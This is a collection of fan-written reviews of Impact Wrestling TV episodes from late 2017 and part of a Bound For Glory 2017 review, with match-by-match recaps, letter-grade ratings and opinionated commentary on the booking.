Impact Wrestling – December 14, 2017: Just Don’t Talk

Impact Wrestling
Date: December 14, 2017
Location: Aberdeen Pavilion, Ottawa, Ontario, Canada
Commentators: Jeremy Borash, Josh Matthews

Impact actually has some wrestling competition tonight as WWE is presenting its annual Tribute to the Troops. This week’s big match is for the vacant Knockouts Title as Rosemary vs. Laurel Van Ness wraps up the mini tournament. Other than that we’re likely to get more build between Alberto El Patron, Johnny Impact and Eli Drake for the World Title. Let’s get to it.

Laurel and Rosemary arrive.

Recap of Gail Kim vacating the title and the tournament being set up. Again: it was two triple threat matches and a singles match. It’s not exactly some game changer.

Opening sequence.

Sienna vs. KC Spinelli vs. Madison Rayne vs. Allie

#1 contenders match and one fall to a finish. Allie gets triple teamed in the corner to start but Spinelli and Rayne quickly turn on Sienna. A northern lights suplex gives Spinelli two and Madison does the same move for the same result. Spinelli is back with a spinout Rock Bottom but Allie is back in to take both of them down at once. A hair takedown drops Allie though and it’s Sienna coming back in with a big boot to KC.

Sienna tosses Spinelli with a fall away slam for two as Allie makes the save. Back from a break with Sienna faceplanting Madison and throwing Allie down as well. Spinelli and Sienna hit a double clothesline and everyone is down. It’s Allie up first and cleaning house, including a Codebreaker for two on Sienna. Spinelli is loaded up into the AK47 but Allie rolls Sienna up for the pin at 12:39.

Rating: C-. Not much to this one but they got the finish right, especially if we’re heading for Laurel winning the title. Allie is still the most popular name in the division (or second most at worst) and giving her a push towards the title would make sense. That being said, it feels like it’s just being kept warm while we wait on Taya’s visa issues to be resolved, which makes some sense.

Trevor Lee/Caleb Konley vs. Dezmond Xavier/Taiji Ishimori

Lee and Ishimori start things off as we hear about expansion into Italy. Maybe we can see some Italian wrestlers that mean nothing around here for a change. Xavier comes in and uppercuts Lee a few times before dropkicking him in the back of the head. Lee sends Dezmond outside and scores with a running kick to the face as we take a break. Back with Xavier still in trouble as Konley sends him hard into the corner. Lee comes back in for a chinlock and a hard clothesline.

Somehow, during an X-Division match, the commentary manages to bring the discussion back to Gail Kim. We saw her during the opening and we discussed her during the Knockouts match and now we’re hearing about her too. Well of course we are. The hot tag brings in Ishimori to thankfully speed things up a bit, only to have Lee grab a German suplex for two. Everything breaks down and Dezmond gets caught in the Tree of Woe. For some reason they try a spike piledriver in the same corner though, allowing Xavier to make the save. Ishimori rolls Lee up for the pin at 12:49.

Rating: C. This division is so dull and so much of that is due to the villains. You can only do the “I’m the champion and you want the title” story for so long and they passed that point a LONG time ago. Completely average match here as we keep waiting for Ishimori to hopefully save us from the drek that is Lee’s X-Division Title reign.

We recap Dan Lambert pinning James Storm last week.

Alberto El Patron, Petey Williams and Johnny Impact aren’t happy with having to team together tonight. El Patron and Johnny talk a bunch of trash while Petey just stands around like someone who doesn’t belong here. Well you can’t fault him for his way of thinking.

We see the last five minutes of the Knockouts Gauntlet Match to crown the first ever Knockouts Champion at Bound For Glory 2007. The winner of course: Gail Kim.

Chris Adonis and Eli Drake seem to have found their partner for the six man tag in the form of Jimmy Jacobs.

Alberto El Patron/Johnny Impact/Petey Williams vs. Eli Drake/Chris Adonis/Kongo Kong

Or not actually as Jacobs comes out to say he’s a good guy. He’s here to help, which is why he’s found Adonis and Drake a partner. Quick question: has Impact ever explained who Jacobs is or why he’s here? Or are we just supposed to have a working knowledge of who has left WWE over the last few months?

Alberto hammers on Adonis to start but gets shoved into a tag to Impact. That goes nowhere so Petey chases Adonis into the corner….and earns a shot against Kong. A rolling backsplash crushes Williams and it’s back to Adonis to stomp in the corner. The slow beatdown continues and we’re just lucky enough to see more Kong. Drake comes in after a splash and drops an elbow for good measure.

Adonis almost hits Kong by mistake and the apology allows the hot tag off to Johnny. There’s a Flying Chuck for two on Drake but Alberto comes in to break up some attempted cheating. That’s enough being nice though as Alberto hits a Backstabber on Johnny. Petey gets caught in a double flapjack but Kong misses his top rope splash.

Johnny dives onto Drake but Petey’s slingshot hurricanrana is countered with a powerbomb into the crowd. Kong and Petey head to the back, leaving Johnny to deck Alberto. There’s Starship Pain but Alberto DDTs Johnny on the ramp. A frog splash to Drake is good for the pin at 8:32.

Rating: B-. Alberto logic made sense and it’s fine to have the champ get pinned in a tag match, but you really could have done almost the same match without Kong and Williams. This got a lot better at the end and once we got to the storyline stuff, but even the worst part of it wasn’t that bad. Just don’t let Alberto talk.

The Legion of Doom was in TNA for a cup of coffee back in the early days.

Alberto gets a title shot on the January 4 show.

The Park Family is proud of how well business is going but Chandler wants to be a wrestler. Joseph isn’t sure.

Video on the Grand Championship match, which will now be a three way involving champion Ethan Carter III, Fallah Bahh and Matt Sydal. That also takes place on January 4.

Also on January 4, Taiji Ishimori vs. Trevor Lee for the X-Division Title.

The next two weeks will be Best of 2017 specials.

All Storm wants is to face Lambert one on one. Dan goes into his usual wrestling sucks speech and eventually calls Storm the face of the company. Here’s the deal: if they fight each other, Storm’s career is on the line. Storm agrees, but if he wins, the MMA guys are all gone. Lashley and Moose start fighting and here’s KM, who is quickly cut off by a Last Call.

Storm vs. Lambert is set for the January 4 show.

Knockouts Title: Rosemary vs. Laurel Van Ness

The title is vacant coming in. Van Ness is sent outside and we take a break less than a minute in. Back (after a good while) with Rosemary hammering away in the corner and Cactus Clotheslining her outside. Laurel is up first and kicks Rosemary face first onto the ramp. That’s only good for two back inside and it’s time to shove each other a lot. Rosemary is up first and grabs her leaning back choke over the ropes.

They fall outside again with an exploder suplex dropping Laurel on the floor. Back in and Rosemary spears her down but has to escape an Unprettier. The Red Wedding doesn’t work either and Rosemary misses the mist. The delay allows Laurel to hit the Unprettier off the top for the pin and the title at 14:04.

Rating: C+. I’m a bit surprised by the ending but at least we have Laurel vs. Allie to look forward to. The match wasn’t bad but treating this like some kind of huge tournament win and a passing of the torch from Kim (who was mentioned almost as much as either finalist leading up to the match) is quite the stretch.

We go to a meeting between Konnan and Sami Callihan. They argue over who is in charge of this company and a match is made with titles vs. careers. Konnan agrees and says after LAX is done with OVE, they’ll be like O’Reilly and Spacey. Callihan throws a fireball at Konnan’s face to end the show.

Overall Rating: C+. Pretty solid show here as they’re setting up something big for the January 4 show. That being said, I might have liked the show more because it means I get two weeks off from watching the show for the most part. If nothing else this show needs a breather and hopefully they have something a little more interesting when they get to the next taping cycle. This show worked better because it was mainly wrestling and didn’t feature much of Impact’s very sub par writing. Do that more often and the show gets better, though I don’t trust them to pull it off.

Results

Allie b. KC Spinelli, Madison Rayne and Sienna – Rollup to Sienna

Taiji Ishimori/Dezmond Xavier b. Caleb Konley/Trevor Lee – Rollup to Lee

Alberto El Patron/Johnny Impact/Petey Williams b. Eli Drake/Chris Adonis/Kongo Kong – Frog splash to Drake

Laurel Van Ness b. Rosemary – Super Unprettier

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/11/22/new-book-kbs-monday-nitro-and-thunder-reviews-volume-vi/


And check out my Amazon author page with cheap wrestling books at:


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Impact Wrestling – November 30, 2017: Help Us Santa

Impact Wrestling
Date: November 30, 2017
Location: Aberdeen Pavilion, Ottawa, Ontario, Canada
Commentators: Josh Matthews, Jeremy Borash

We’re back to a normal show this week after the Thanksgiving episode last time around. Tonight’s featured attraction is Alberto El Patron vs. Johnny Impact in a match that should probably main event a pay per view if this company had more than two of them a year. Oh and we’ll be getting more footage from outside the promotion. Let’s get to it.

JB is in the back talking to the various women who will be in the Knockouts Title tournament.

We get a mostly silent preview of tonight’s show with only El Patron vs. Impact getting any comments from either.

Knockouts Title Tournament Semi-Finals: Madison Rayne vs. KC Spinelli vs. Laurel Van Ness

They waste no time here with the early rollups, including Laurel spinning Madison around for two. Spinelli breaks it up but spends a bit too long dancing, allowing Madison to take her down. Laurel is back up to deck both of them but gets sent into the corner. A slugout is broken up with a double missile dropkick to give Laurel two each. Madison gets flipped off the top, only to have KC catch Laurel in an electric chair drop for a crash onto Rayne. Back up and something like a jumping Unprettier gives Laurel the pin on KC at 5:47.

Rating: D+. This felt like any given X-Division match: three people who don’t have much of a character (well two don’t at least) doing moves to each other until someone got a pin. On top of that though, there’s the issue of these people fighting to replace Gail Kim, who is nowhere to be seen anymore. It took away a lot of the title’s importance, which really hurts whatever the new champion can get out of this.

We look back at Taiji Ishimori having issues with the Cult of Lee.

Taiji Ishimori vs. Hakim Zane

Ishimori wastes no time, coming in with a springboard seated senton. Zane fights up and kicks Ishimori down as the announcers explain how awesome it is to have all these promotions around. Some double knees to the chest put Zane down though and the 450 is good for the pin at 3:25.

Rating: D+. Similar problem to the first match: why should I care about these guys? This company really needs some extra promo time as I feel like I barely know anyone in most of the matches. Zane won some reality show that you had to watch elsewhere and Ishimori’s character is mostly “he’s awesome in Japan”. Also, is there a reason to have the reality show winner getting squashed?

Post match the Cult of Lee comes in and takes Ishimori out.

James Storm is ready to prove that he’s the real cowboy tonight against Texano. After that, he’s ready to take care of American Top Team.

LAX is ready to take care of OVE and Sami Callihan with various weapons available. Beer is consumed.

From Defy Wrestling in Seattle.

Sami Callihan vs. Randy Myers

I believe Myers was a big deal in the last incarnation of Stampede Wrestling. Joined in progress with Callihan knocking Myers outside and piling a bunch of chairs on top of him. Clipped to Callihan chopping him against the barricade and again to a rollup getting two on Myers back inside. A Batista Bomb gets two more on Myers and we’re clipped again to a slugout. A hard lariat puts Myers away at 3:46 shown. Way too much clipping to give this a rating but it was little more than a squash for Callihan. Side note: I have no idea when this match took place and even Cagematch has never heard of it.

Alberto El Patron is ready to beat the heck out of Johnny Impact. Johnny has gone crying to the bosses of this company to get a fight and now he can’t wait to beat Impact all over Canada. Alberto leaves and we pan over to KM beating up unidentified people while shouting about how that should be enough for American Top Team.

Texano Jr. vs. James Storm

Before the match, American Top Team is walking in the back when KM comes up to ask if that was enough. Dan Lambert says he doesn’t care because they have a cowboy to deal with. Back with the two of them heading outside for a brawl but Texano steals some beer to spit in Storm’s face.

Storm is sent into the barricade and a hiptoss sends him up the ramp. A chinlock with a knee in Storm’s back doesn’t do much good so it’s off to a half crab. The announcers talk about Storm being in a war against AAA and another against ATT. We’re really considering the AAA thing a war? Seriously? Back up and the Eye of the Storm is broken up so Texano can hit a superkick. That goes nowhere though and it’s the Last Call to give Storm the pin at 6:45.

Rating: C-. Is it too late to write to Santa and ask for something more interesting for Christmas? This AAA nonsense hasn’t been any good since it started and the fact that it’s going to be American Top Team after this doesn’t exactly help things. Storm is on his way out and deserves something a little better than this to say the least.

Indeed, the MMA guys come out and beat Storm down as Josh names all of them off in a vain attempt to give us a reason to care. Storm gets in a Last Call on the one in a neck brace and the big beatdown is on. Moose comes out for the save and chairs down one of the fighters. Lambert calls wrestling a circus and says he’s out of bug spray for all the fleas around here. A tag match is proposed for next week: Storm/Moose vs. Lashley/Lambert himself (with Lambert describing himself as the biggest heel in professional wrestling today).

Side note: how worthless of an appearance did Stephan Bonnar have? He showed up, wrecked an MMA gym and then had a horrible match before leaving. Again I’d love an explanation for why it wasn’t just Lashley vs. Moose in the cage at the pay per view. Novelty maybe? The idea that this company doesn’t think anything of its own roster and thinks they need guest stars?

We get a commercial for Park Park and Park law offices, including Joseph’s cousin Chandler, who is better known as indy wrestler Ethan Page.

Here’s the end of Kurt Angle vs. Samoa Joe from Genesis 2006. That should have been the main event of Bound For Glory 2007 but why waste time when you can make it clear that the former WWE guy is better than one of your best guys? I also wouldn’t point out how much hotter the crowds were eleven years ago.

Johnny Impact calls Alberto a speed bump on the road to the World Title. Tonight, Alberto goes to Slam Town.

Eli Drake and Chris Adonis are ready for Alberto or Johnny. They run into Jimmy Jacobs but nothing is said.

Ethan Carter III comes out for commentary.

Tyson Dux vs. Matt Sydal

Sydal takes him into the ropes to start before hitting a standing legdrop for two. A reverse Muta Lock has Dux holding his knee but Dux kicks at Sydal’s knee to even things out. Dux gets two off a delayed vertical suplex and we hit a Boston crab. That goes nowhere so Sydal kicks him in the face and gets two off a standing moonsault. Dux breaks up the shooting star and grabs a running DDT for two of his own. Sydal’s jumping knee to the face sets up the shooting star (with Dux taking a very long roll over to the corner) for the pin at 5:44.

Rating: C. Dux is hardly a big name but at least Sydal seems to have a story going at the moment against a fellow Impact wrestler. Sydal not being able to win the big one is an interesting idea and giving him the Grand Championship would be a nice way to pay the thing off. It’s certainly better than “hey, he’s from another company”.

Video on Johnny vs. Alberto.

Johnny Impact vs. Alberto El Patron

Alberto wastes no time in taking Johnny down but Johnny pounds him out to the floor without too much effort. A good looking corkscrew dive over the top drops Alberto again. Some kicks to the chest have Johnny in trouble and Alberto throws Johnny’s sunglasses into the crowd. Alberto has a seat on the top rope and is greeted with a WE DON’T LIKE YOU chant. Well at least the fans get to the point. Johnny gets sent over the top in another heap and we take a break.

Back with Alberto in a chinlock after being crushed underneath the steps during the commercial. Alberto misses a top rope ax handle and gets kicked in the face for a double knockdown. Johnny wins a slugout and ducks the corner enziguri. A second kick to the face connects though and Johnny is staggered.

The armbreaker is broken up though and the Flying Chuck drops Alberto for a near fall. Starship Pain is broken up as well and Alberto’s reverse superplex gets two more. Alberto can’t hit the top rope double stomp (good) so Johnny hits one to Alberto’s back for a close two. The Countdown to Impact misses and OF COURSE the ref gets bumped.

A low blow cuts Johnny off but can’t put him away. Instead Alberto ties him in the Tree of Woe and tries to put Johnny’s wrist tape in Johnny’s mouth. That goes nowhere so here’s Drake for a distraction. Alberto decks him with a right hand and belt shot but gets pulled back in by a sitting up Johnny. Starship Pain gives Johnny the pin at 19:53.

Rating: B. It was entertaining but felt like every major Impact match: longer for the sake of being longer and with too many things going on. The ref bump wasn’t necessary and Drake coming down felt like it was there to protect Alberto (which is fine). It also should have been presented on a larger stage but you can’t expect this company to build anything up very well, especially if it’s a top level match like this.

Post match Drake and Adonis beat on Johnny until Petey Williams makes the save to end the show.

Overall Rating: C-. And we’re back to the same old problems: matches that feel like they’re taking place because they have nothing else to put on, wrestlers we’ve barely been introduced to in big matches (Spinelli hasn’t actually wrestled a match in this company yet and she’s a win away from a title match) and what felt like a lot of filler. The show wasn’t horrible or even bad, but it’s completely lacking steam or anything that would make me want to keep coming back. They really need to develop some characters though because this has been a problem for a very, very long time. Anyway, good show but lacking a lot.

Results

Laurel Van Ness b. KC Spinelli and Madison Rayne – Unprettier to Spinelli

Taiji Ishimori b. Hakim Zane – 450

Sami Callihan b. Randy Myers – Lariat

James Storm b. Texano – Last Call

Matt Sydal b. Tyson Dux – Shooting star press

Johnny Impact b. Alberto El Patron – Starship Pain

Remember to follow me on Twitter @kbreviews and pick up the Monday Nitro and Thunder Reviews Volume VI: July – December 1999 in e-book or paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/11/22/new-book-kbs-monday-nitro-and-thunder-reviews-volume-vi/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Impact Wrestling – November 9, 2017: Canadian Violence

Impact Wrestling
Date: November 9, 2017
Location: Aberdeen Pavilion, Ottawa, Ontario, Canada
Commentators: Jeremy Borash, Josh Matthews

It’s time for a new year for Impact and that means we’re on a new taping cycle. Things should be a lot more energetic this week as we start to see what the latest new brain trust has in store for us. Eli Drake is still World Champion and we’ve proven that MMA is better than wrestling so let’s get to it.

Josh and JB are in the ring to run down some of the card.

We see a package from Bound For Glory.

Here are Eli Drake and Chris Adonis for the victory speech. Adonis has to tell the fans to stop cheering for Drake so he can introduce him as Canada’s favorite wrestler. With a bit of an echo in the arena, Drake says this was exactly how the plan was supposed to go. Now a JOHNNY chant cuts him off (sounds like they’re People Power fans) but he’s tired of hearing about Alberto El Patron being mistreated by the company.

It’s nothing compared to being mistreated by Eli Drake, who has tonight off due to his injuries from Bound For Glory. Cue Petey Williams we as begin catering to the live crowd instead of everywhere else. Petey wants a title shot tonight because Drake has never faced him. Drake agrees but for next week, which brings Petey down to the ring. Adonis gets dropped by a single kick but Drake escapes a Canadian Destroyer attempt.

Jimmy Jacobs comes out for commentary for the opening match.

Sonjay Dutt vs. Matt Sydal

They take each other down to the mat to start and let’s cut to a shot of the commentary! After confirming that they are in fact doing commentary, we go back to Dutt armdragging him into an armbar. Jacobs leaves commentary as Sydal takes Dutt down into something like a reverse Muta Lock (with Dutt on his back and his knee being bent). That goes nowhere so it’s off to a half crab with Dutt quickly making the rope.

Rating: C+. Well that was long. I can appreciated the idea of the X-Division guys getting to showcase themselves a bit more, though I still would love some stories in these things. Sydal wants the title, though after seeing him challenge Lashley a few months back, it’s kind of hard to care about him going after the dead X-Division Title.

Post match Ethan Carter III of all people comes out, which hopefully means the AAA nonsense is over. Carter says it’s another win for Sydal, but that’s what he always does, at least until we get to the big moment where he always chokes. Ethan knows he’s the best around here but Sydal is just another talented guy who doesn’t have the whole package. Maybe Sydal can be reborn again, this time as a winner.

And now, here’s a good chunk of a six man tag from 2004 with Team Canada vs. Amazing Red/Sonjay Dutt/Hector Garza. This is an ad for the Global Wrestling Network and suggests to me that on the first show after the biggest show of the year, they already need filler because they can’t film enough at their tapings. That’s not good.

GHC World Title: El Hijo de Fantasma vs. Eddie Edwards

Eddie, an American, is defending the Japanese title against a luchador from Mexico in Canada. Before the match, we have to confirm that this is in fact a sanctioned match, complete with a Pro Wrestling Noah representative. Feeling out process to start with Eddie’s hammerlock getting nowhere. Instead he goes up top, only to get pulled down with a hurricanrana for two. A superplex gets Eddie out of trouble but he’s a bit too banged up to do anything with it.

Eddie’s Blue Thunder Bomb gets two and he kicks Fantasma in the mask to stop a suicide dive. Fantasma has to stomp Eddie’s feet to break up a tiger driver on the apron but Eddie is right back with a suicide dive. Back up and Fantasma scores with one of his own but still can’t put Eddie away. The tiger driver gives Eddie two more but the Boston Knee Party is blocked by a dropkick. Fantasma heads up again but misses whatever he was trying, setting up the Boston Knee Party. Die Hart Flowsion retains the title at 9:54.

Rating: B. Good, hard hitting match here with Eddie showing how good he really can be. That being said, I’d still love an actual story for some of these bigger matches. Having the GHC Title defended here is fine, but could we have a reason someone wants to face Eddie other than it’s a title?

OVE/Sami Callihan vs. Phil Atlas/Marcus Burke/Ray Steele

The lights are way down now to hide the small crowd. Sami charges right at Atlas to start and it’s a triple kick to the head in the corner. It’s off to Steele who eats a triple boot to the face, followed by Sami putting him in an electric chair. Dave does the same to Jake, who grabs Steele in a cutter for the pin at 1:54.

Post match here’s LAX to keep the fight going. The beating is on and OVE and Sami bail after getting beaten down. So it really was a double turn.

Global Forged winner Hakim Zane tries to talk but Johnny Impact runs in to say he’s coming for Alberto.

From Border City Wrestling in Windsor, Ontario, Canada.

Allie vs. KC Spinelli

Spinelli gets in a few shots to start but Allie speeds things up to send her into the corner. That’s fine with KC, who whips her around the ring without much effort. Allie avoids a charge and a dropkick to the back sends Spinelli into the corner for two. A neckbreaker drops Allie for two more, followed by a fisherman’s suplex for the same.

Not that it matters as Allie grabs a Codebreaker for….just two actually. They’re working a lot harder than I would have expected here. Spinelli misses a moonsault though, allowing Allie to grab a Death Valley driver for the pin at 7:08. Thankfully that means we get to hear her incredibly bubbly music for a nice bonus

Rating: B-. This was much better than I was expecting and I wouldn’t be surprised if Spinelli didn’t get some more bookings out of this. Allie is sch a breath of fresh air to all the serious wrestlers around here and feels more like what Bayley should have been on the main roster. Really nice little match here too.

Alberto tells Johnny Impact to bring it.

Allie is worried about Gail Kim’s big announcement next week. She’s still insanely adorable.

Alberto is sitting down when Johnny Impact DIVES at him, looking almost like a spear. The fight is on in catering with Alberto getting away, only to have Johnny get into a fight with Braxton Sutter of all people. Caleb Konley shows up and fights Sutter instead, leaving Johnny and Alberto to brawl out the door and into the loading area, where a camera just happens to be waiting. Johnny gets in a few more shots until they head inside again with Impact trying some chokes.

Alberto comes back with a wet floor sign as this has been going for over five minutes. After throwing Johnny through a door, Alberto climbs a ladder for no adequately explored reason. With Alberto sitting on top of a restroom, Johnny throws the ladder down….and then climbs up the Pepsi machine to knock Alberto off. Alberto hangs onto the roof until falling down (only a few feet) and security FINALLY grabs him. That’s fine with Johnny, who hits a huge dive, taking out Alberto and security as we go to a break.

Back with the brawl still going as Alberto beats him down some more, only to have it spill into the arena with the fans not sounding pleased. Security comes out for another save attempt and Alberto grabs a mic to say this is his company. He calls Johnny a crazy guy and security actually holds Johnny back for a change. Alberto rips on the company for holding him back and screwing him but he’s willing to continue the battle in the ring.

Security lets Johnny get in and Alberto bails, only to have Johnny say Alberto calls himself the pride of Mexico but he’s not even the pride of his own father. The fight is on again with security taking another beating until Alberto gets in a cheap shot. A DDT plants Johnny and Alberto tells security to get out of here if they want to get paid tonight. The cross armbreaker over the ropes has Johnny screaming until the referees break it up to end the show after SEVENTEEN MINUTES between these two.

Overall Rating: C+. This was a really tricky one to grade. For one thing, the wrestling tonight was quite good. The title match was solid, the women’s match was a nice surprise and the fifteen minute X-Division match worked very well. What didn’t work for me though was how little we seemed to actually have move forward. LAX vs. OVE is still going, Impact vs. Alberto is likely going to include Drake soon and be a continuation of the World Title feud from the last month and a half and the X-Division is still about the same.

What’s getting on my nerves is how much time they have to spend on stuff other than Impact Wrestling. Allie vs. Spinelli was good, but how many of those matches from outside the company are going to be? It’s obviously them filling in as much time as they can with their limited content, but when they do it over and over again, it gets a little annoying. Throw in the brawl that went longer than any match and it really does feel like they’re just trying to fill in the show without having actual wrestling, which is rarely a good sign.

That being said, I’ll take a show with some good matches and a lot of energy over the boring, dull, mostly unnecessary TV shows we’ve been having in the last few weeks. At least we had some good matches this time around and that’s a lot more than I’ve been able to say since…..August maybe?

Results

Matt Sydal b. Sonjay Dutt – Shooting star press

Eddie Edwards b. El Hijo de Fantasma – Die Hard Flowsion

OVE/Sami Callihan b. Ray Steele/Phil Atlas/Marcus Burke – Elevated cutter to Burke

Allie b. KC Spinelli – Death Valley Driver

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/


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Bound For Glory 2017: That’s So TNA

Bound For Glory 2017
Date: November 5, 2017
Location: Aberdeen Pavilion, Ottawa, Ontario, Canada
Commentators: Jeremy Borash, Josh Matthews

It’s finally time to have something fresh for this company as we’ve spent over two months on taped TV setting up this show. The real main event is Moose/Stephan Bonnar vs. Lashley/King Mo in a wrestling vs. MMA cage match, which has been pushed far harder than the World Title match. Let’s get to it.

Alberto El Patron arrived earlier today.

Opening sequence, looking at the big main events, as you might expect.

The ring ropes are red and white for CANADA!

X-Division Title: Sonjay Dutt vs. Trevor Lee vs. Garza Jr. vs. Petey Williams vs. Matt Sydal vs. Dezmond Xavier

Lee is defending and there are tags this time around. Dutt and Sydal hit the mat to start and speed things up in a hurry, but the fans are more interested in Petey. Well of course they are. Xavier comes in to kick Sydal down, only to get tripped up and hit with a standing shooting star for two.

They fall outside and it’s Garza and Petey coming in, meaning this is lucha rules. Ok then. Lee comes in and grabs Garza’s bad arm, only to stop so GARZA CAN TAKE OFF HIS PANTS! Garza puts Lee in the Tree of Woe and we hit the O CANADA for the pop of the night. It’s Tower of Doom time though with Lee being the only one to not get slammed down. We hit the dives, leaving Lee to suplex Dutt into a powerbomb for a big heap.

Dutt gets stomped down and things slow down a lot. Lee poses a lot and hammers on Dutt in a non-Canadian way. The fans want Petey (well duh) and Dutt finally avoids a charge to give them what they want. A Russian legsweep and a Downward Spiral drop Lee and it’s off to Sydal, who sends Petey into the ropes. Williams adds a slingshot hurricanrana on Lee. Everything breaks down and it’s Xavier coming in with all of his corkscrewy goodness.

The Final Flash gets two on Lee with Dutt making the save. Dutt’s tornado DDT gets two on Xavier but Sydal runs everyone over. Garza is back in with a headbutt on Sydal, followed by a posing choke. Petey comes in and grabs a Sharpshooter on Sydal because it’s Canada and there are certain things you have to do. Sydal has to bail out of the shooting star and it’s a Canadian Destroyer to plant Xavier. Lee sneaks back in and tosses Petey though, allowing him to steal the pin and retain at 12:40.

Rating: C. Well you have to make sure you keep that AMAZING Trevor Lee reign going you see. The title has completely died and a lot of that is due to the lack of interesting characters or personal issues. It’s just “here are three faces, here are three heels, they’re doing flippy stuff”. I need more than that, but we don’t have time for that because we need videos on MMA titles being stolen. It’s not like they could spend time building up Xavier and/or Sydal, both of whom have crashed HARD into a wall in recent months. Good choice for an opener, but the crowd died when Petey didn’t win.

Tyson Dux vs. Taiji Ishimori

Oh that’s how they’ll fill in time: random matches with this eternally present international talent. Dux was in Team Canada like thirteen years ago, end of his noteworthy accomplishments in America. Ishimori sends him outside to start and it’s an early standoff. Back in and Tyson gets two off a delayed belly to back suplex. The mess that is Laurel Van Ness wanders into the crowd as we hit a chinlock on Ishimori. That goes nowhere as Ishimori fights up and hits a slingshot double stomp for two of his own. A guillotine choke knocks Dux silly and it’s a 450 to give Ishimori the pin at 4:47.

Rating: C-. This was the latest instance of two guys who I neither know nor care about having a match I didn’t want to watch. At least it wasn’t long though and in this case they needed to do something to fill in some time with Rosemary vs. Taya being gone. I was actually looking forward to that match though, making this quite the disappointment.

Grado can’t talk his way out of his match with Abyss later.

Here’s the returning Alberto for his big speech. He talks about working as hard as he did in this promotion and being told how awesome he was. Then something happened and they suspended him because they don’t have any cajones and believed all the lies. The reports will tell you that he didn’t do anything but they suspended him anyway. They even stopped paying him! Well they have been having payroll issues as of late you see.

All this company did was listen to reports on the internet and ruined his career. His kids were disappointed in their dad and it was all over lies that never happened. No one got in touch with him while he was gone and that’s what’s wrong with everything. The people are what’s wrong around here and he’s about to do something tonight.

Alberto turns his focus to JB and, of course, calls him a perro. He goes up to JB, who never texted him or called him once. JB apologizes and we get a very slow handshake but Alberto is here to make a statement. Eh or not because tonight is going to be amazing. Alberto walks away without doing anything to JB.

We recap Grado vs. Abyss. Grado is trying to stay in the country and signed up with Abyss’ brother Joseph Park as his agent, only to have Park rip him off and steal his money. Grado wants out of the deal and we’re having a match for his freedom, only it’s Monster’s Ball against Abyss instead of Park.

Grado vs. Abyss

Monster’s Ball, meaning hardcore. Before the match, Grado tries to talk his way out of the match and Abyss tells him do dance. Grado does just that, only to jump the monster to get things going. It’s already weapons time with Grado throwing in some chairs, only to have Abyss knock a cheese grater out of his hands. Instead it’s a staple gun to the head and the violence begins.

The barbed wire boards are brought in but Grado saves himself, only to have the tacks poured onto the mat. A cheese grater between the legs slows Abyss down though and some trashcan shots give Grado a breather. He takes too much time going up though and gets shoved through the barbed wire for the big crash. It’s Janice time (Josh: “How did he get this into Canada?”) but Grado gets out of trouble with the dancing punches. You know, in a hardcore match.

And now, let’s cut to Van Ness again. You know, IN A HARDCORE MATCH! Grado escapes a chokeslam and sends Abyss into another barbed wire board. A third is stacked on top of Abyss for a big splash, cutting both of them open and giving Grado two. Laurel stumbles into the ring though and steals Janice from Grado before hitting him low.

She picks up Janice and there go the lights. Cue Rosemary (because Heaven forbid we just put her in the title match) to mist Laurel and Abyss, earning herself a chokeslam onto the tacks. Grado rolls Abyss up for two (with the bell ringing and being waved off), only to get Black Hole Slammed onto the barbed wire for the pin at 10:32.

Rating: D. Well that happened. If you’ve seen one of these things, you’ve seen them all as there’s practically a checklist of things you have to see in this match. Grado losing is rather dumb, but maybe they can’t afford to fly him in anymore. The women didn’t need to be involved, but at least they have a connection to the guys in the match.

Team Impact is ready with Ethan Carter III being very serious.

We recap Team AAA vs. Team Impact. AAA invaded, three Impact guys fought back, they’ve had a bunch of matches and now it’s a six man tag.

Team AAA vs. Team Impact

It’s Pagano/Texano/El Hijo De Fantasma vs. Ethan Carter III/Eddie Edwards/James Storm. Texano won’t shake hands with his partners as he and Fantasma are feuding in AAA. Eddie and Fantasma start things off with Fantasma being sent to the apron for an elbow to the face. Carter won’t tag in for some reason so it’s Storm in instead. Texano comes in as well and drives the once again legal Eddie into the corner with Pagano crotching him against the post.

The fans chant for lucha libre as Pagano chokes Edwards on the mat. Edwards hurricanranas both Fantasma and Texano at the same time but Carter still won’t tag. Instead it’s Storm, who grabs a neckbreaker to drive Texano and Fantasma down at the same time. Pagano crotches Storm down though and it’s time to continue the beating. Texano adds a shot with a bull rope and clotheslines Storm in the corner.

An Alabama Slam gets Storm out of trouble though and NOW Carter is willing to come in and clean house. A flapjack drops Fantasma and there’s a Downward Spiral to Pagano. Everything breaks down and Eddie scores with a suicide dive. Back in and Eddie hits Carter by mistake though, leaving Pagano to hit a running….elbow I think to drop Storm.

Pagano gets catapulted into a flip dive onto everyone else and Storm adds his own flip dive (off the post) onto the pile. Back in and we get the required Tower of Doom with only Storm being spared. Instead it’s James coming in with a top rope elbow onto Texano, followed by a double clothesline to Fantasma and Pagano. Eddie enziguris Pagano back down and a second does the same to Fantasma.

That’s about it for Eddie’s run though as Fantasma comes back with his kneeling tombstone to drive Eddie onto the apron in a disturbing heap. Pagano drops a top rope leg onto Carter, who pops up with a double low blow. A double 1%er drops Texano and Pagano and it’s back to Storm, with Carter telling him to kick someone’s head off. The Last Call ends Pagano at 15:24.

Rating: C-. The match was watchable but it felt like it just kept going. The other problem here is it doesn’t solve anything. This is just a match that happened and doesn’t really change anything. There’s no reason for the feud not to continue, which it likely will at the next set of tapings. Carter vs. Storm would seem to be in the cards, which is certainly an upgrade for both guys.

Carter and Storm share a beer.

Chris Adonis and Eli Drake are ready to retain the title tonight. The Gravy Train is coming to run Johnny Impact over and the only thing Johnny deserves is a one way ticket to a beating.

We recap OVE vs. LAX. OVE won the titles and LAX swore revenge, citing their huge numbers advantage. LAX beat OVE down multiple times so OVE is bringing in a relative to help in the street fight rematch. This would seem to be the debuting Sami Callihan.

Hang on a second as we see a body down with a Mexican flag over him. The same thumbs up into a thumbs down is seen, which is Callihan’s signature.

Tag Team Titles: OVE vs. LAX

